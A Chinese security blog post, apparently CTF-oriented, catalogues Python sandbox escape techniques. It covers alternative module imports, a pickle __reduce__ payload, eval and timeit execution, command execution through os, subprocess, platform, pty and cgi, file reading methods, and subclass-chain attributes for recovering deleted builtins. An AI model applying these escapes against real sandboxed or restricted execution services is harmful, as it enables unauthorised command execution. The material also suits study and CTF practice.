文章归档

置顶文章

Web安全

Web安全基础

PHP相关

Writeups

靶机系列

HackTheBox

VulnHub

代码审计

PHP代码审计

大数据安全

机器学习

基础学习

Python

Python基础

Python安全

Java

Java基础

算法

Leetcode

随笔

经验

技术

 2021-01-03   2.4k

Python沙箱逃逸

上一篇写到了关于python flask SSTI的总结文章,看了沙箱逃逸之后,发现这两者的方法和payload很相似,所以把python的沙箱逃逸和服务端模板注入放在一起总结。

0x01 基础知识

沙箱:沙箱是一种按照安全策略限制程序行为的执行环境。

沙箱逃逸:就是在给我们的一个代码执行环境下,脱离种种过滤和限制,最终成功拿到shell权限的过程。其实就是闯过重重黑名单,最终拿到系统命令执行权限的过程。

先来给上一道例题源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python

from __future__ import print_function

print("Welcome to my Python sandbox! Enter commands below!")
banned = ["import", "exec", "eval", "pickle", "os", "subprocess", "kevin sucks", "input", "banned", "cry sum more", "sys"]

targets = __builtins__.__dict__.keys()
targets.remove('raw_input')
targets.remove('print')

for x in targets:
del __builtins__.__dict__[x]

while 1:
print(">>>", end=' ')
data = input()

for no in banned:
if no.lower() in data.lower():
print("No bueno")
break
else: # this means nobreak
exec(data)

一般而言沙箱逃逸的题目考到的知识点无非下面5个:

  • python的导包
  • python执行代码和命令
  • python文件读取
  • 内置模块
  • 对象创建于引用

那么与之相对应的解题思路大致分为5步:

  1. 测试能否导包
  2. 哪些系统包做了限制
  3. 内置函数是否可用
  4. 静态检测or动态检测
  5. 对象之间的引用关系索引

0x02 花式导包

如果我们想在沙箱中getshell的话,必不可少的是要引入Python中执行命令的包,例如os,sys,subprocess等。

有些沙箱使用比较初级的办法,通过正则对输入代码内容进行过滤,如下所示:

1
2
3
4
5
6
7
import re
code = open('code.py').read()
pattern = re.compile('import\s+(os|commands|subprocess|sys)')
match = re.search(pattern,code)
if match:
print "forbidden module import detected"
raise Exception

这个时候,我们突破这种封锁,首先要学习的是Python的各种导包方法。

初阶

一般比较常见的是以下几种方法:

  • import xxx
  • from xxx import *
  • _import_(“xxx”)
  • importlib库
  • imp 库
  • reload(xxx)

第一个和第二个比较熟悉,不用过多赘述,__import__作为一个函数,只能接受字符串参数,返回值可以直接用来操作,通常在动态加载的时候使用这个函数,python2和python3通用:

importlib模块是对import和__import__的补充,它也可以通过传入字符串来引入一个模块,python2和python3使用方法一样:

imp库的使用方法:

reload 的用法比较有意思,假如沙箱导入了os模块,但是删除了system方法,强行使用system执行命令会报错:

而我又想用system方法执行命令的话,可以使用reload重新加载os模块,恢复对system方法的引用。

高阶

导包说到本质上其实是python 读取指定包的py文件,并将其加载到解释器的过程。在模块导入的时候,默认在当前目录下查找,然后再在系统中查找,系统查找的范围是sys.path下的所有路径。

我使用的是Anaconda管理python版本,在一些常见的Linux发行版本上,路径一般都是在/usr/lib/python3.X目录下。

因此我们可以直接执行对应包的文件,从而实现包的导入。在py2中有execfile这个函数:

在python3中没有execfile这个函数,但是又exec,可以通过读文件交给exec执行的方式导入包:

上面说到导包的本质是python读取指定的文件,import的本质是:搜索modules并绑定到局部变量

import module_name实质是将module_name.py中的全部代码加载到内存并赋值给与模块同名的变量写在当前文件中,这个变量的类型是module

现在设置一下modules中os的值为None:

发现把os从modules中删去就不能直接引入了。但是,我们可以接着设置os的模块的路径,从而引入该模块:

另外,我们将 sys.modules 中的os 删除即可,这样import 发现 sys.modules没有os这个模块,就会重新创建。

0x03 执行代码和命令

动态执行代码

(1) eval/exec/execfile

在上文中,已经讲解了exec/execfile的用法。这里再总结一下:

  • exec(source):动态执行复杂的python代码,函数的返回值永远为None。
  • execfile(filename):执行一个py文件的内容。

eval用来执行简单的python表达式返回表达式的结果,示例如下:

1
eval('__import__("os").system("whoami")')

(2) pickle 序列化

1
2
3
4
5
6
7
8
9
import pickle
class A(object):
def __reduce__(self):
import os
return (os.system, ('whoami',))
admin = A()
B = pickle.dumps(admin)
print(pickle.dumps(admin))
# cnt\nsystem\np0\n(S'whoami'\np1\ntp2\nRp3\n.

保存序列化之后的字符串,然后通过pickle.loads加载即可完成代码的执行。

1
2
import pickle
pickle.loads("cnt\nsystem\np0\n(S'whoami'\np1\ntp2\nRp3\n.")

(3) timeit 这个模块是用来测试代码的执行时间的,可以动态执行代码,代码是字符串形式。

1
2
import timeit
timeit.timeit("__import__('os').system('whoami')",number=1)

执行命令

(1) os模块

可以通过os.system(cmd),os.popen(cmd)调用系统命令,例如:

1
2
os.system("whoami")
os.popen('whoami')

(2) commands 模块

1
2
print(commands.getoutput('whoami'))
print(commands.getstatusoutput('whoami'))

(3) subprocess模块

subprocess模块是相对比较复杂的,有很多执行命令的函数:

  • subprocess.run() Python 3.5中新增的函数。执行指定的命令,等待命令执行完成后返回一个包含执行结果的CompletedProcess类的实例。
  • subprocess.call() 执行指定的命令,返回命令执行状态,其功能类似于os.system(cmd)。
  • subprocess.check_call() Python 2.5中新增的函数。执行指定的命令,如果执行成功则返回状态码,否则抛出异常。其功能等价于subprocess.run(…, check=True)。
  • subprocess.check_output() Python 2.7中新增的的函数。执行指定的命令,如果执行状态码为0则返回命令执行结果,否则抛出异常。
  • subprocess.getoutput(cmd) 接收字符串格式的命令,执行命令并返回执行结果,其功能类似于os.popen(cmd).read()和commands.getoutput(cmd)。
  • subprocess.getstatusoutput(cmd) 执行cmd命令,返回一个元组(命令执行状态,命令执行结果输出),其功能类似于commands.getstatusoutput()。

(4) platform 模块

可以调用platform 模块 中的 popen 这个函数执行命令。

1
2
3
import platform
print(platform.popen('ls',mode='r',bufsize= -1).read())
platform.os.system("ls")

(5) pty 模块

pty模块可以生成一个伪终端,可以简单理解为bash,因此是可以执行命令的。

1
2
import ptypty.spawn('ls')
pty.os.system("ls")

(6) cgi 模块

1
2
import cgi
cgi.os.system("ls")

0x04 文件读取

初阶

(1)open(python2,python3)

1
open(__file__).read()

(2)file(python2)

1
file(__file__).read()

高阶

(1)codecs模块(python2,python3)

1
2
import codecs
codecs.open(__file__).read()

(2)types模块(python2)

1
2
import types
types.FileType(__file__,'r').read()

(3)os.open(python2,python3)

1
2
3
import os
fd = os.open(__file__, os.O_RDONLY)
print(os.read(fd, 1024))

(4)file协议

python2

1
2
import urllib
u = urllib.urlopen('file:///'+__file__)

python3

1
2
3
import urllib
u = urllib.request.urlopen('file:///'+__file__)
print(u.read())

(5)fileinput模块

1
2
3
4
import fileinput
with fileinput.input(files=(__file__,)) as f:
for line in f:
print(line)

0x05 内建模块

如果沙箱不让我们导入外部模块,或者是要导入的模块被禁用,那我们只能求助于Python的内部模块__builtins__( 即Python 本身默认已经导入模块中的函数)。

dir内置函数可以列出一个模块/类/对象下面所有的属性和函数,查看一下__builtins__中的函数:

例如,我们可以引用__import__ 来导入os,并执行命令:

由于内置模块中的危险函数过多,比如eval,exec等,导致上文使用的沙箱对*****builtins*****进行了处理,通过 del 关键字将里面的所有函数引用都删除了。

如果保留reload内置函数,我们还可以通过 reload( __builtins__) 恢复,但是现在通过__builtins__来进行逃逸已经不现实了。

0x06 对象创建与引用

删除的是只是函数引用,而不是函数本身,如果你们熟悉C语言的话,函数引用可以理解为函数指针,既然__builtins__中的引用没了,那我们就需要从其他地方找到敏感函数的引用,从而实现逃逸。

关于这一块的内容,其实和flask SSTI的内容是一样的,也是通过python的内置类型的继承链来寻找更多的引用,以下字段是寻找继承链的关键:

名称 介绍
__dict__ 这个属性中存放着类的属性和方法对应的键值对,实测module也有这个属性
__class__ 返回一个实例对应的类型
__base__ 返回一个类所继承的基类
__subclasses__() 返回该类的所有子类
__mro__ python支持多重继承,在解析__init__时,定义解析顺序的是子类的__mro__属性(值是类的元组)
__slots__ 限制类动态添加属性
__getattribute__() 获取属性或方法,对模块和类都有效
__getitem__() 以索引取值或者键取值
__globals__ 返回函数所在模块命名空间中的所有变量

其他的具体内容参考flask SSTI即可。

0x07 Reference

https://blog.szfszf.top/article/15/

https://www.m00nback.xyz/2020/02/16/Python%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/

https://mp.weixin.qq.com/s/f5Ra8BtCyEoJmH0gwuvGXg

Copyright © ca01h 2019-2020 | 本站总访问量